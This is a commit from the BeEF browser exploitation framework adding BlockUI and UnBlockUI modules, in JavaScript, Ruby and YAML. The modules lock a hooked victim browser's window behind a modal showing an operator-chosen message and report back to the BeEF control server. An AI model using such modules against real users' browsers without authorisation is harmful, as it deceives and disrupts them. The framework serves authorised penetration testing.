Add jQuery BlockUI plugin to hook

This commit is contained in:
Brendan Coles
2015-08-18 13:47:09 +00:00
parent bbeeabdffe
commit b89ca6baa3
8 changed files with 716 additions and 1 deletions

View File

@@ -0,0 +1,19 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var timeout = '<%= @timeout %>' * 1000;
var blockui = function() {
$j.blockUI({ message: '<%= @message.gsub(/'/, "\\\'") %>' });
setTimeout("$j.unblockUI();", <%= @timeout %> * 1000);
}
blockui();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
blockui:
enable: true
category: "Misc"
name: "BlockUI Modal Dialog"
description: "This module uses jQuery <a href='https://github.com/malsup/blockui/'>BlockUI</a> to block the window and display a message."
authors: ["bcoles"]
target:
user_notify: ["ALL"]

View File

@@ -0,0 +1,21 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Blockui < BeEF::Core::Command
def self.options
return [
{'name' => 'message', 'ui_label' => 'Message', 'type' => 'textarea', 'value' => '<p>Please wait while your data is being saved...</p>', 'width' => '400px', 'height' => '100px' },
{'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '30', 'width' => '400px' }
]
end
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,11 @@
//
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
$j.unblockUI();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=command sent');
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
unblockui:
enable: true
category: "Misc"
name: "UnBlockUI"
description: "This module removes all jQuery BlockUI dialogs."
authors: ["bcoles"]
target:
user_notify: ["ALL"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Unblockui < BeEF::Core::Command
def post_execute
content = {}
content['result'] = @datastore['result']
save content
end
end